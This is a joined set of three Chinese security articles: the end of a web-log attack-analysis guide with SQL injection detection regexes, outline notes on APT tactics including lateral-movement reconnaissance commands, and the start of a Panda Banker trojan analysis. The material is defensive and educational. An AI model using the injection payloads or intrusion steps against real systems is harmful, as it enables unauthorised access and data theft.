5.编码避开关键字匹配
关于编码、加密问题，我也曾尝试过，但是实际最后发现除了URL编码以外，其他的编码是无法随意使用的，因为一个被加密或编码后的请求，服务器是无法正确接收和处理的，除非应用本身请求就是加密或编码的。且一般加密或编码出现在日志里通常都是配合其他函数实现的，如Char()、toHexString()、Ascii()..
6.APT分时段攻击
如果同一攻击者的攻击行为分别来源不同的时间，比如攻击者花一周时间进行“踩点”，然后他就停止了行为，过了一周后再继续利用所得信息进行攻击行为，此时因为行为链被断开了一周，我们可能无法很明显的通过时间维度来定位攻击者的攻击路径。我目前的想法是，给攻击力路径定义模型，就拿在前面讲到的常规日志分析举例，那么攻击路径模型可定义为：访问主页>探测注入>利用注入>扫描后台>进入后台>上传webshell>通过webshell执行恶意操作。
其中每一个都可以理解一种行为，而每种行为都有相应的特征或者规则。比如主页链接一般在日志中占比较大，且通常路径为index.html、index.php、index.aspx,那么符合这两个规则则视为访问主页，而在探测注入行为中，一般会出现探测的payload，如时间注入会匹配以下规则：
.(BENCHMARK(.)).*.(WAITFOR.DELAY).*.(SLEEP(.).*.(THENDBMS_PIPE.RECEIVE_MESSAGE).
Bool注入
.*and.*(>|=|<).*
.*or.*(>|=|<).*
.*xor.*(>|=|<).*
联合注入：
.*(order.*by).*
.*(union.*select).*
.*(union.*all.*select).*
.*(union.*select.*from).*
显错注入:
.*('|"|\)).*
.*(extractvalue\(.*\)).*
.*(floor\(.*\)).*
.*(updatexml\(.*\)).*
利用注入则会体现出更完整，带有目的性的攻击请求，我们以同理制定规则即可，如查询当前数据库名、查询版本信息、查询数据库表名、列名则会出现database、version、table_name、column_nam（不同数据库存在不同差异，这里仅举例）。
扫描后台则会产生大量的404请求，且请求较为频繁，请求特征通常为/admin、/guanli、/login.php、/administrator。
对于是否进入后台，我认为假如一个疑似后台访问的链接被频繁请求，且每次响应大小都不相同，我则认为这是已经进入了后台，但是也有可能是网站管理员正在后台进行操作的，这暂且不谈。
关于上传webshell，这个比较难得到较准确的信息，因为我们没有POST数据，无法知道上传的内容是什么，但是我们可以通过反推法，先利用webshell访问特征进行匹配，找到可能为webshell的访问地址，然后以时间为条件往前匹配包含上传特征的请求，如果成功匹配到了存在上传特征，那么可将其视为攻击路径中的“上传webshell”行为。
至于“通过webshell执行恶意操作”，可以简单定义为webshell地址被请求多次，且响应大小大多数都不相同，当我们对以上每种行为都建立对应的规则之后，然后按照攻击路径模型到日志中进行匹配，攻击路径模型可能有多个
这是一个相对常规的攻击路径：
访问主页>探测注入>利用注入>扫描后台>进入后台>上传webshell>通过webshell执行恶意操作
可能还会有：
访问主页>爬虫特征>扫描敏感信息>扫描识别CMS特征>利用已知组件漏洞进行攻击>执行恶意代码>获取webshell>通过webshell执行恶意操作。
扫描路径>扫描到后台>疑似进入后台>上传webshell>通过webshell执行恶意操作。
..
当我们用多个类似这样的攻击路径模型对日志进行匹配时，可能在同一个模型中可能会命中多次相同的行为特征，此时我需要做一个排查工作，通过IP、客户端特征、攻击手法、攻击payload相似度等等进行排除掉非同一攻击者的行为，尽可能得到一条准确的攻击路径。
我们通过一整个攻击路径来定义攻击，从而即使攻击者分时段进行攻击，行为也会被列入到攻击路径中
通过这样方式，也许能实现自动化展示出攻击者的攻击路径，但是具体可行率、准确度还有待进一步实践后确认。
7.日志噪声数据
通常，除了攻击者恶意构造的攻击之外，日志中还包含大量的扫描器发出的请求，此类请求同样包含一些攻击特征，但是多半都为无效的攻击，那么我们如何从大量的扫描攻击请求中判断出哪些请求较为可疑，可能攻击已经成功呢？我所认为的方法目前有两种，一种是给每种攻击方法定义成功的特征，如延时注入可通过判断日志中的响应时间，联合注入可通过与正常请求比较响应大小，Bool注入可通过页面响应大小的规律，当然实际情况中，这种做法得到的结果可能是存在误报的。第二种办法就是通过二次请求，通过重放攻击者的请求，定义攻击payload可能会返回的结果，通过重放攻击请求获取响应之后进行判断，其实这里已经类似扫描器，只是攻击请求来自于日志，这种方法可能对服务器造成二次伤害，一般情况下不可取，且已经脱离日志分析的范畴。
**九、日志安全分析之更好的选择**
回到那个最基本的问题，如何从日志中区分正常请求和攻击请求？
可能做过安全的人都会想到：用关键字匹配呀。
对，关键字匹配，因为这的确是简单直接可见的办法，用我们已知的安全知识，把每一种攻击手法定义出对应的攻击规则，然而对日志进行匹配，但Web技术更新速度飞快，可能某一天就出现了规则之外的攻击手法，导致我们无法从日志中分析出这些行为。
其实从接触日志分析这个领域开始，我就想过一个问题？有没有一种算法，可以自动的计算哪些是正常的，哪些是不正常的呢？然而思索很久，也尝试过一些办法，比如尝试过使用统计，按照请求的相似度进行归并，统计出一些“冷门”请求，后来发现其实这样做虽然有点效果，但是还是会漏掉很多请求，且存在大量无用请求。
后来又思索了一种办法，能不能对用户的网站产生的请求建立一个白名单，然后不在白名单内的请求皆为异常请求。这种做法效果倒是更好了一点，可是如何自动化建立白名单又成为了一个问题？如果我们手动对网站请求建立一个单独的白名单，那么一旦站点较多，建立白名单这个工作量又会巨大，但是如果只有单个站点，手工建立这样一个白名单是有意义的，因为这样就能统计所有的异常请求甚至未知的攻击行为。
后来我发现其实我最初的想法其实是一个正确的思路，用统计的方法来区分正常和异常请求，只不过我在最开始实现的时候认为的是：某个URL被访问的次数越少，那么次请求为可疑。
更好的思路是：正常总是基本相似
异常却各有各的异常（来源：[http://www.91ri.org/16614.html](http://www.91ri.org/16614.html)）
文中关于此理论已经讲得很详细，这里简单描述一下实现方法：
搜集大量正常请求，为每个请求的所有参数的值定义正常模型
通过Waf或者攻击规则来剔除所有发起过攻击请求的IP，从而得到所有来自用户的正常请求，将每个正常请求构造出对应的正常模型，比如：
[http://test.com/index.php?id=123](http://test.com/index.php?id=123)
[http://test.com/index.php?id=124](http://test.com/index.php?id=124)
[http://test.com/index.php?id=125](http://test.com/index.php?id=125)
那么关于此请求的正常模型则为 [N,N,N],不匹配此模型的请求则为异常请求。
当对日志中的请求建立完正常的模型，通过正常模型来匹配找出所有不符合模型的请求时，发现效果的确不错，漏报较少，不过实践中发现另一个问题，那便是数据的清洗，我们能否建立对应的模型，取决于对日志数据的理解，如果在数据前期提取时，我们无法准确的提取哪些是请求地址那些为请求参数可能无法对某个请求建立正常模型
关于此理论已经有人写出了Demo实现，地址：[https://github.com/SparkSharly/Sharly](https://github.com/SparkSharly/Sharly)
**十、日志安全分析总结问答**
1.日志分析有哪些用途？
感知可能正在发生的攻击，从而规避存在的安全风险
应急响应，还原攻击者的攻击路径，从而挽回已经造成的损失
分析安全趋势，从较大的角度观察攻击者更“关心”哪些系统
分析安全漏洞，发现已知或位置攻击方法，从日志中发现应用0day、Nday
..
2.有哪些方法可找出日志中的攻击行为？
攻击规则匹配，通过正则匹配日志中的攻击请求
统计方法，统计请求出现次数，次数少于同类请求平均次数则为异常请求
白名单模式，为正常请求建立白名单，不在名单范围内则为异常请求
HMM模型，类似于白名单，不同点在于可对正常请求自动化建立模型，从而通过正常模型找出不匹配者则为异常请求
3.日志分析有哪些商业和非商业工具/平台？
**工具：**
LogForensics 腾讯实验室
<https://security.tencent.com/index.php/opensource/detail/15>
北风飘然@金乌网络安全实验室
<http://www.freebuf.com/sectool/126698.html>
网络ID为piaox的安全从业人员：
<http://www.freebuf.com/sectool/110644.html>
网络ID：SecSky
<http://www.freebuf.com/sectool/8982.html>
网络ID：鬼魅羊羔
<http://www.freebuf.com/articles/web/96675.html>
**平台（商业项目）：**
Splunk >> 机器数据引擎
赛克蓝德 >> SeciLog
优特捷信息技术 >> 日志易
HanSight瀚思 >> 安全易
百泉众合数据科技 >>LogInsight
江南天安 >> 彩虹WEB攻击溯源平台
**开源项目：**
elk
https://www.elastic.co
scribe
https://github.com/facebook/scribe
chukwa
http://incubator.apache.org/chukwa/
kafka
http://sna-projects.com/kafka/
Flume
https://github.com/cloudera/flume/
4.有哪些方法适合分析攻击是否成功？
Kill Chain Model
**十一、扩展阅读**
[](http://netsecurity.51cto.com/art/201506/478622.htm)
[http://netsecurity.51cto.com/art/201506/478622.htm](http://netsecurity.51cto.com/art/201506/478622.htm)
[http://www.freebuf.com/articles/web/86406.html](http://www.freebuf.com/articles/web/86406.html)
[https://wenku.baidu.com/view/f41356138bd63186bdebbca8.html](https://wenku.baidu.com/view/f41356138bd63186bdebbca8.html)
[http://www.freebuf.com/articles/web/96675.html](http://www.freebuf.com/articles/web/96675.html)
[http://dongxicheng.org/search-engine/log-systems/](http://dongxicheng.org/search-engine/log-systems/)
[http://www.361way.com/scribe-chukwa-kafka-flume/4119.html](http://www.361way.com/scribe-chukwa-kafka-flume/4119.html)
[http://www.jianshu.com/p/942d1beb7fdd](http://www.jianshu.com/p/942d1beb7fdd)
[https://xianzhi.aliyun.com/forum/attachment/big_size/WAF%E6%98%AF%E6%97%B6%E5%80%99%E8%B7%9F%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%B4%E5%86%8D%E8%A7%81.pdf](https://xianzhi.aliyun.com/forum/attachment/big_size/WAF%E6%98%AF%E6%97%B6%E5%80%99%E8%B7%9F%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%B4%E5%86%8D%E8%A7%81.pdf)
[http://techshow.ctrip.com/archives/1042.html](http://techshow.ctrip.com/archives/1042.html)
[http://www.ixueshu.com/document/b33cf4addda2a27e318947a18e7f9386.html](http://www.ixueshu.com/document/b33cf4addda2a27e318947a18e7f9386.html)
[http://www.ixueshu.com/document/602ef355997f4aec.html](http://www.ixueshu.com/document/602ef355997f4aec.html)
[http://xueshu.baidu.com/s?wd=paperuri%3A%288b49643ad2a4ba7ea2d4cf46e366188d%29&filter=sc_long_sign&tn=SE_xueshusource_2kduw22v&sc_vurl=http%3A%2F%2Fwww.doc88.com%2Fp-0157694572004.html&ie=utf-8&sc_us=16365123920770356600
](http://xueshu.baidu.com/s?wd=paperuri%3A%288b49643ad2a4ba7ea2d4cf46e366188d%29&filter=sc_long_sign&tn=SE_xueshusource_2kduw22v&sc_vurl=http%3A%2F%2Fwww.doc88.com%2Fp-0157694572004.html&ie=utf-8&sc_us=16365123920770356600%C2%A0%C2%A0%C2%A0%C2%A0);
**十二、结束语**
在安全领域中，防护为一个体系，感知风险和应急响应仅仅只算安全体系中的两个环节。而想要尽可能更好的实现这两个环节，单凭从日志中分析数据是远远不够的。
至于未来或许我们可以将日志分析和Waf、RASP、等其他安全产品进行联动，还可以将Web日志、系统日志、数据库日志等各种其他日志进行关联从而分析更准确、更具有价值的信息。
日志分析本质为数据分析，而数据驱动安全必定是未来的趋势。
关于日志分析还有很远的路要走，目前国内还并没有发现较为优秀的产品，日志数据中存在的价值还有待进一步挖掘。 | 社区文章 |
# 《透视APT》
## 网络空间中的对抗
### APT的典型事件之——“震网病毒”
* 目标系统：工控系统
* 潜伏渗透：感染了伊朗境内60%的PC
* 突破物理隔离：U盘(病毒检测到宿主机插上U盘则主动向U盘感染病毒)
* 技术水平：同时利用多个0day(微软和西门子工控系统)，体现了APT的高级性
* 攻击者：极有可能是敌对关系的政治势力
* 攻击持续性：C2服务器2005.11就完成注册,可能长达6~7年
### APT攻击的概念
* 起源
* 由美国一名空军上校2006年提出
* 何时引起关注、高潮
* 2010伊朗震网病毒、2013美国"棱镜门"事件
* 定义
* 知名第三方机构
* 维基百科、Mandiant、赛门铁克、Damballa、TechTarget
* 1.特性：高级、持续、威胁、针对。
2.目标动机：政治、情报、数据、经济利益
3.APT目标：国防、制造业、金融、科研
* 奇安信威胁情报中心
* 不是一个纯粹的技术概念，泛指有组织，有计划针对特定目标的一系列攻击
* 组织
* 国家或者政府(精神支持和物质基础)
* 情报机构、网络间谍活动的攻击组织
* 经济实体、犯罪组织、恐怖主义组织
* 能力：攻击不计成本(技术成本,比如系统0day)
* 技术特点：针对性、高度隐藏(潜伏渗透周期长)、不以经济利益为直接目的、掌握0day
* 重大安全事件不一定是APT
* 重大损失的，也不一定是APT
* 2016年美国东部互联网瘫痪
2018年Facebook数据泄露
国内酒店大量住户信息泄露
* 影响范围大的，也不一定是APT
* 2017年WannaCry勒索病毒
* 针对性强的，也不一定是APT
* 2008年8月俄罗斯对格鲁吉亚的军事行动
* APT 与威胁情报
* 威胁情报：安全机构所掌握的、针对特定组织机构的各种网络威胁信息，而该组织机构自身可能并不知道相关威胁的存在或细节
* 威胁情报的主要方面
* 源头、目标、动机、工具、指标、表象、影响、方案
### 相关研究
* 在全球范围内，APT研究美国和俄罗斯两国属世界一流，中国属全球第二梯队的排头兵
* 行业领域：军队与国防、政府、金融、外交、能源、科研、医疗、传媒、电信
* 目标地域：全球绝大部分的国家和地区。韩国、中东、美国、俄罗斯、巴基斯坦等国家APT最为活跃
## APT攻击的对象
### 工控系统
* 乌克兰圣诞大停电事件
* 核心攻击方式：BlackEnergy 后门程序、攻击者可远程访问并操控电力控制系统
* 沙特阿拉伯大赦之夜攻击事件
* 核心攻击方式：Shamoon(Disttrack)，能够导致目标网络完全瘫痪(通过当前的权限来访问活动目录、相同域及局域网其他主机进行横向移动)
* 投放器(Dropper)
* 通信组件(Communications)
* 擦除组件(Wiper)
* 美国电网承包商攻击事件
* 核心攻击方式：渗透网站，向网站上传恶意程序，利用恶意程序跟踪网站访问者，获得相关人员的账号密码，利用该账号发送大量钓鱼邮件
### 金融系统
* 多国银行被盗事件
* 核心攻击方式：
获得银行SWIFT权限，利用SWIFI向其他银行发送转账指令、篡改MT9XX报文清除证据
* ATM 机盗窃事件
* 核心攻击方式：
1.针对性入侵金融机构员工的计算机或银行网络，进行视频监控，查看和记录负责转账系统的银行员工屏幕。获取足够的信息后，模仿银行员工的行为进行恶意操作。
2.插入特别制造的芯片(EMV)卡，植入恶意程序，吐钞的同时让计算机断网
3.入侵其他资产，通过资产内代理进行授权交易
4.入侵内部网络、获得ATM控制权限
5.通过光驱、USB接口等直接对ATM机进行操作
* 黄金眼(国内APT组织)行动事件
* 核心攻击方式：以合法软件开发公司伪装，以不当盈利作为目的，长期从事敏感金融交易信息窃取活动。（该组织攻击水平和反侦察能力均达到国际水平)
### 地缘政治
* DNC邮件泄露、美国大选
* 希拉里邮件门事件，利用私人电子邮件向家里私人服务器发送大量涉及国家机密的绝密邮件，大约6万封。
* 相关细节：希拉里竞选团队主席被钓鱼攻击上钩，泄露邮箱密码，从而获取邮箱中的邮件，同样的攻击方法在团队其他成员中也相继成功。钓鱼邮件使用了(Bitly)短链接技术来进行伪装。
* 法国总统大选
* 攻击组织：APT-28
文档:Trump's_Attack_On_Syria_English.docx
核心攻击技术：
CVE-2017-0262(Word远程代码执行)
CVE-2017-0263(Windows本地权限升级)
### 教育、科研系统
* 国内顶尖大学、研究院
* 国内海事、电信、能源、国防、军工业
## APT攻击的技术手段
### APT攻击的目标
* 敏感情报信息
* PC敏感文件扩展名
* doc,docx,ppt,pptx,xls,xlsx,rtf,wps,et,dps,pdf,txt,dwg,rar,zip,7z,exe,eml
* 移动端敏感文件
* 音频、照片、通话录音、录像、通话记录、通讯录、短信、手机基本信息、地理位置信息
* 敏感情报信息窃取方式
* 核心思想：选择性窃取（攻击者如果活动太频繁，木马与C&C服务器的通信次数越多越容易暴露）。故APT组织一般只收集特定目录下的文件或者有特殊文件名的文件。
* 文件直接回传、Socket通信、 电子邮件
* 敏感文件
* 经济利益
* 持续监控
* 破坏
* 攻击目标平台
* Windows、Android、MacOS、iOS
* 跨平台的水坑攻击
* 带有恶意程序的伪造Flash升级包
### APT攻击的武器搭载系统
* 鱼叉攻击(Spear Phishing)
* 目的：不通过授权访问机密数据
* 手段：最常见的方式是通过电子邮件发送给特定的攻击目标，诱使目标打开附件，这种方式就是鱼叉邮件。
* 钓鱼邮件：这个概念和鱼叉邮件类似。不过，钓鱼多是针对普通人的攻击，针对性较弱，精确度较低。
* 实施过程：前期准备->邮件制作->邮件投放->情报回收
* 防护方法：稍微有点安全意识即可，认真查看邮件来源，附件扩展名，病毒扫描，虚拟机，沙箱等。
* 水坑攻击(Water Holing)
* 攻击概述：攻击者通过分析攻击目标的网络活动规律，寻找攻击目标经常访问的网站的弱点，先攻下该站点并植入攻击程序，在攻击目标访问该站点时实施攻击
* 以海莲花APT组织的水坑攻击举例
* A方式
* 替换目标网站的可信程序(捆绑即时通、证书驱动)
* 对目标网站插入恶意JavaScript程序(伪装成Adobe Flash更新程序)
* B方式
* 替换目标网站站点指定链接
* PC跳板
* 第三方平台
* APT组织通过社交网络来下发C&C指令，APT组织的专用木马会读取文章中的程序指令来完成指定的攻击操作
* 微博、Twitter、Facebook、…
* 恶意硬件中间人劫持
* 在目标网络环境中部署物理硬件设备，通过中间人方式劫持用户网络流量，替换更新包等软件
* 输入法软件、聊天软件、下载软件、影音软件、安全软件、微软系统软件
* 例子：火焰病毒
### APT攻击的武器装备
* 专用木马
* 开机自启动
* 修改快捷方式
* DLL(动态链接库)劫持
* 修改注册表、服务、计划任务
* APT组织为何放弃开机自启动？
* 特定场景下需要一次性攻击
* 火力侦察判断目标是否为真实目标时、目标防护能力很强时（都是为了隐藏自己的攻击
* 依赖原始母体文件运行
* 用其他方法启动木马
* 注入到其他进程、或者捆绑到其他软件
* 利用漏洞劫持篡改网络流量
* 加密与自加密
* 木马升级换代
* 1day \ nday
* 出于攻击技术成本考虑、目标系统存在大量已知漏洞但未修复
* 相关例子
* CVE-2012-0158
* 微软Office漏洞(非常稳定)，远程攻击者诱使目标打开一个经过特殊构造的RTF文件，在符合漏洞条件下，即可在目标机器上执行任意指令。
* CVE-2015-0097
* 微软Office的一个逻辑漏洞，可导致目标通过HTA文件下载恶意程序到本机并执行
* Android 漏洞
* 0day
* Office 文档漏洞
* Windows 提权漏洞
* Flash 漏洞
* 其他0day
* APT组织武器使用成本原则(0day、或者技术成本较高的攻击手段)
* 攻击目标具有足够的攻击价值
* 一般的专用木马攻击无效或者无法达到预期目的
* 利用1day、nday攻击依然无法达到目的或者无效
* APT武器研发趋势
* 特别关注点：RAT(Remote Access Trojan)文件,远程访问木马的文件格式、文件形态、功能形态、恶意程序寄宿位置的变化
* 相关武器研发趋势
* 从PE到非PE，从有实体到无实体
* 小众编程语言日渐流行(Delphi\GCC\NSIS\AutoIt
* 模块互动，云控技术渐成主流
* 恶意程序寄宿位置越藏越深：从常见的系统目录到难以追踪的MBR, VBR, 磁盘固件, EFI, BIOS, 移动存储设备的隐藏分区
* 独立研发与委托定制成主流
* 使用公开的RAT，目的是自我隐藏和嫁祸他人
* 绝大部分的APT组织都是在相对独立的环境下完成攻击代码的开发工作
* 不排除委托第三方组成协助定制开发的可能性
### APT攻击的 C&C(Command and Control)
* 主要作用：
1.向感染了目标机的木马程序发送控制命令，提供下载资源(新木马，木马模块，配置文件等)
2.回收木马程序收集到的情报信息，包括文件、邮件等
* 地域分布
* 美国最多、其次中国、俄罗斯，西班牙，德国并列第三(2015年)
* 一个APT组织可能拥有数十个，或者几个分布于不同地域的C&C服务器
* 注册机构
* 国内外APT组织均使用或部分使用境外服务商动态域名，ChangIP,DynDNS,No-IP,Afraid(FreeDNS),dnsExit
* 动态域名的好处：
1.相关注册信息不对外公开(无whois信息)
2.需要域名持有者的权限才能查询相关信息
* 注册偏好
* 模仿邮箱类
* 126mailserver 、mail163等
* 模仿杀毒软件类
* safe360、rising等
* 模仿互联网公司类
* 360sc2、sohu、sogou、sina等
## APT攻击的战术布阵
### 情报收集
* 重要性：APT组织发动一次攻击，绝大部分时间都会消耗在情报收集环节上。为了达到攻击目的，攻击者必须尽可能地全面的收集攻击目标相关的情报信息，从认知水平到掌握水平。
* 公开情报收集
* 官方网站、行业网站、学术期刊、行业会议、新闻报道等
* 地下情报收集
* 地下黑市购买社工库
* 入侵第三方网站以获取目标人员、组织的情报信息
* 向其他APT组织购买情报信息
### 火力侦察
* 目的：收集攻击目标网络或设备的基本信息、判断攻击目标的真伪(是否为虚拟机)、防御能力、攻击价值。以及方便后期横向移动的准确性。
* 主机信息：操作系统信息、主机名称、本地用户名等
* 网络信息：主要是IP地址、网关信息
* 应用程序信息及相关版本信息，微软Office、微软Internet Explorer
* 磁盘信息、当前进程信息等
### 供应链攻击
* 攻击原理
* 当攻击目标本身的防御措施特别完善时，或初始攻击无法达到效果，对目标相关的周边企业、人员、供应链进行攻击，有可能取得较好的效果。
* 典型案例
* 震网病毒、Havex
### 假旗行动
* 概述
* 也叫伪旗行动，是隐蔽行动的一种。通过使用其他组织的旗帜、制服等手段误导公众、使公众认为该攻击是其他攻击组织执行。
* 相关战术术语：拟态、诱饵、混淆、伪装、干扰
* 类型
* 预设陷阱
* 样本文件、C&C服务器域名、特殊字符串、上线密码、诱饵文档属性信息等
* 事后掩盖
* 攻击成功后，对域名whois、IP地址等信息进行伪装
* 冒充对象
* 冒充其他APT组织
* 冒充普通用户
* 国家级情报机构对该行动的观点
* 五眼联盟
* 与欺骗相关的策略：暗区(DarkSpace)、蜜罐(Honeypot)、蜜令(Honeytoken)、蜜网(Honeynet)、假旗行动(False Flag)、效果(Effects)
* 五眼联盟对假旗行动的观点：1.有意制造攻击目标与被嫁祸国或组织间紧张的敌对气氛，以实现某种政治或经济目的 2.更好地隐藏自己，避免暴露，收获更大利益。
### 周期性袭扰
* 周一、二（工作日处理邮件、文件高峰期）
* 大型节日（如国庆节、春节等）
### 横向移动
* 目的：
1.进一步在感染的目标机器上获取更多有价值的信息
* 借助受感染的机器，探测周边其他设备的情况或直接向周边设备发动攻击
* 横向移动攻击步骤
* 侦察和识别网络拓扑、获取域计算机信息、当前计算机相关主机信息、网卡信息、路由信息等
* 查看远程计算机服务及状态、获取指定IP共享信息、共享目录、扫描内网机器远程端口等
* 补充原有木马没有的功能、窃取本机更多信息、向周边其他设备发动攻击
* 常用命令：net view、ipconfig /all、netstat -a/n、nbstat -A、systeminfo、tracert -w 1000 8.8.8.8、ping、telnet、利用PowerShell远程加载木马或者上传情报信息到C&C服务器
### 伪装术
* 社会工程学伪装
* 邮件内容伪装
* 邮件身份伪装
* 文件视觉伪装
* 文件名
* 文件扩展名
* 文件图标
* 快捷方式伪装
* 将攻击代码文件和一个指向攻击代码的快捷方式文件打包成一个压缩包，同时，快捷方式的命名具有迷惑性
* 捆绑合法程序
* AWVS7
* 针对网络安全行业
* 办公软件
* 政府单位、事业单位
* 即时通、证书驱动
* 政府机构
* 微软更新程序
* Microsoft Visio Professional 2013
* 压缩包外壳
* 将木马程序进行压缩，以压缩包的形式传播
### 反侦察术
* 一些APT组织的攻击木马会判断自身所处的环境、发现杀软时、会选择放弃执行后续的功能代码、或者设法绕过杀软的监测。
* 一些APT组织会对安全研究人员进行反向侦察工作，比如海莲花组织向AWVS的破解版中插入了木马。
## APT攻击的监测与防御
### 如何发现APT攻击
* 大数据技术
* 数据采集、数据分析、数据呈现
* 威胁情报技术
* "标志"(Indicator of Compromise,IOC),也叫入侵指示器：通常包括主机活动中出现的文件、进程、注册表键值、系统服务、网络上的域名、URL、IP等
* 分类
* 战术情报
* 标记攻击者使用工具相关的特纸值及网络基础设施信息、可直接用于设备、实现对攻击活动的监控，IOC即是一个典型
* 作战情报
* 描述攻击者的工具、技术和过程，即TTP
* 战略情报
* 描述当前对于特定组织的威胁类型和对手现状、指导安全投资的大方向。使用者为CSO(Chief Security Officer), CISO(Chief Information Security Offier)
* 威胁情报的利用
* ~在准备阶段、检测与分析阶段、隔离，清除，与恢复阶段、事后复盘阶段的作用
* 安全运营团队会遇到的问题
* 如何高效地发现攻击和入侵活动，评估影响面
* 如何获取、处置与已经发现安全事件相关的活动
* 如何基于对对手的了解、设置各个环节上的安全控制措施、以阻止相同对手或类似攻击手法的入侵
* 理解目前安全威胁的全貌、实现有效的安全投资
* 流量威胁检测技术
* 流量威胁分析
* 流量日志存储
* 威胁回溯分析
* 网络检测响应技术(Network-based Detection and Response,NDR)
* 终端检测响应技术(Endpoint Detection and Response,EDR)
* 基于终端大数据分析的新一代终端安全产品，能对终端行为数据进行全面采集、实时上传、对终端进行持续检测和分析、增强对内部威胁事件的深度可见性，结合相关威胁情报中心推送的情报信息(IP、URL、文件Hash等)能帮助企业快速发现，精确定位高级威胁入侵
### 如何分析APT攻击
* 网络杀伤链模型(Cyber Kill Chain)
* 侦察
* 攻击者选择目标、进行研究、搜集目标弱点
* 武器化
* 攻击者创建针对一个或多个漏洞定制的远程访问恶意程序武器，比如病毒或蠕虫
* 散布
* 将网络武器包向目标投放
* 恶用
* 在受害者系统上运行代码
* 设置
* 在目标位置安装恶意程序
* 命令和控制
* 为攻击者建立可远程控制目标系统的路径
* 目标达成
* 攻击者远程完成其预期效果
* 钻石模型
* 攻击者
* 分清攻击者有利用了解其目的、归属、适应性和持久性
* 能力
* 事件中使用的工具或技术
* 基础设施
* 攻击者用来传递能力的物理或逻辑结构，如IP地址、域名、邮件地址、USB设备等
* 受害者
* 以社会-政治为支点的安全分析中，受害者作用重大
* 自适应安全架构(Adaptive Security Architecture,ASA)
* 由美国安全公司Gartner于2014年提出的面向未来的下一代安全架构，从预测、防御、检测、响应四个维度，强度安全防护是一个持续处理、循环的过程，是细粒度、多角度、持续化地对安全威胁进行实时动态分析
* 目的：为了解决当前企业的安全防护功能难以应对高级定向攻击的问题
* 最终效果：达到网络安全的可管、可控、可视、可调度、可持续
### 协同联动的纵深防御体系
* 高级安全威胁的判定
* 结合多源头威胁情报应用、沙箱动态行为发现、关联引擎分析
* 安全威胁的处置
* NDR与EDR联动
## APT攻击技术(趋势)
### 技术越发高超
* 非PE文件文件攻击
* 文件无需长期驻留磁盘
* 核心Payload存放在网络或注册表
* 通过系统进程执行Payload
* 开源工具和自动化攻击框架
* PowerShell自动化攻击框架
* CobaltStrike
* Shellcode
* Beacon
* Koadic
* "Living off the land"技术
### 国际冲突地区的APT攻击更加活跃
* 能源资源、工业、持有不同政见者
* 这类APT组织：黄金鼠、人面狮、APT33、APT34等
### 网络空间已成为大国博弈新战场
* 影响面：政治、经济、军事谈判等
### 针对基础设施的破坏性攻击日益活跃
* “互联网+”、5G、万物互联等新兴技术的兴起
* 涉及行业：能源、交通、制造、金融、通信等领域
* 现状：很多基础设施和生产系统的网络安全体系建设还基本为零
### 针对个人移动终端攻击显著增加
* iOS、Android
* 系统漏洞、社会工程学
* 典型例子：“三叉戟漏洞”
## 典型的APT组织机构
### 方程式
### 索伦之眼
### APT28
### Lazarus
### Group123 | 社区文章 |
本文翻译自：<https://threatvector.cylance.com/en_us/home/threat-spotlight-panda-banker-trojan-targets-the-us-canada-and-japan.html>
* * *
Panda Banker是使用Zeus源代码变种的银行木马。该银行木马于2016年首次被发现，至今仍然活跃。
Panda Banker会用man-in-the-browser技术将恶意代码注入到受害者浏览器的web页面中。注入的代码会窃取银行账户、信用卡和个人信息。
Panda Banker最近也通过Emotet进行传播。Panda
Banker采用许多步骤来隐藏其行为。复杂的代码混淆和多层加密使其C2通信和恶意脚本很难被分析。
Panda Banker主要的攻击目标位于美国、加拿大和日本。恶意软件主要关注银行账户、信用卡和web钱包信息。
# 技术分析
## 概览
Panda
Banker的攻击流程非常复杂（如图1）。首先检查受害者运行的环境是不是沙箱，然后创建一个包括扩展文件属性的副本，副本创建完成后，进程会在退出前加载新创建的恶意软件副本。新副本会创建两个`svchost.exe`进程，然后将自己注入到进程中。
Panda Banker的C2
URL是从payload中嵌入的配置数据中获取的。也会与C2服务器通信来获取其他的配置信息。如果发现一个已知的web浏览器进程，就会注入插件dll到web浏览器中来拦截流量。
然后Panda
Banker会等受感染的浏览器访问目标站点（比如银行或信用卡公司的网站）。当访问目标站点时，恶意软件会注入针对特定目标的恶意脚本来窃取银行账户、信用卡和个人信息。
图1: Panda Banker攻击流程
## 规避检测
Panda
Banker会检查受害者的环境来避免沙箱和手动分析（表1），包括包抓取持续、调试器、反编译工具和其他恶意软件分析工具。如果在环境中找到这些工具，恶意软件就会退出并删除payload文件。
表1: Panda Banker检查规避检测的字符串
一旦Panda Banker通过环境检查，就会创建4个新文件。其中一个文件是Panda
Banker的副本。`blocklist.exe`就是payload（图2）：
图2: Panda Banker创建的4个文件
Panda Banker会通过`Ntseteafiles API`给恶意软件副本分配一个扩展文件属性，在本例中是EaName is
BEAR（图3）。加载了副本后原始payload就会退出。一旦Panda
Banker在扩展文件属性中找到`BEAR`，就会创建两个svchost.exe进程并注入：
图3: Panda Banker分配给扩展文件属性EaName
## Payload中的配置数据
Panda Banker的payload含有配置数据，含有到C2服务器的URL和公钥。配置数据是用AES算法加密的，加密数据结构如图4所示：
图4: Panda Banker payload中嵌入的加密的配置数据结构
对加密数据解密后，会看到用RC4加密的C2 URL和`X.509 subjectPublicKeyInfo DER SEQUENCE`格式的RSA公钥。
解密URLs需要用嵌入的RSA公钥进行RC4解密。这里，`66 c7 5b 69 f4 5a 4e 12`等于`https://`：
图5: RC4加密的C2 URLs
图6: RSA公钥
## URL生成算法
Panda Banker在访问C2服务器时会生成URL，见图7。生成的URL看起来像随机字符串，但后面有个算法：
图7: 生成的URL示例
Panda Banker用`Mersenne Twister`算法生成随机值。整个URL算法描述如下，步骤1-5描述的是第一部分，6-10描述第二部分：
1. 根据公式`mod(A random value from Mersenne Twister, 9) + 2`决定part 1的长度，结果在2~10之间。
2. 根据公式`mod(A random value from Mersenne Twister, 62)`获取随机的index值，结果在0~61之间。
3. 从预定义的字符串中去除有个字母数字字符，步骤2的结果会成为index值。
预定义的字符串：`qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890`,如果index是1，选择`w`。
4. 将步骤3的结果加到URL中，作为第一部分的一部分。
5. 重复步骤2到4，具体次数由步骤1的结果决定。
6. 得到4个值：
1. 通过`GetComputerNameW API`得到计算机名；
2. 通过`HKLM\software\microsoft\windows nt\currentversion`得到`InstallDate`；
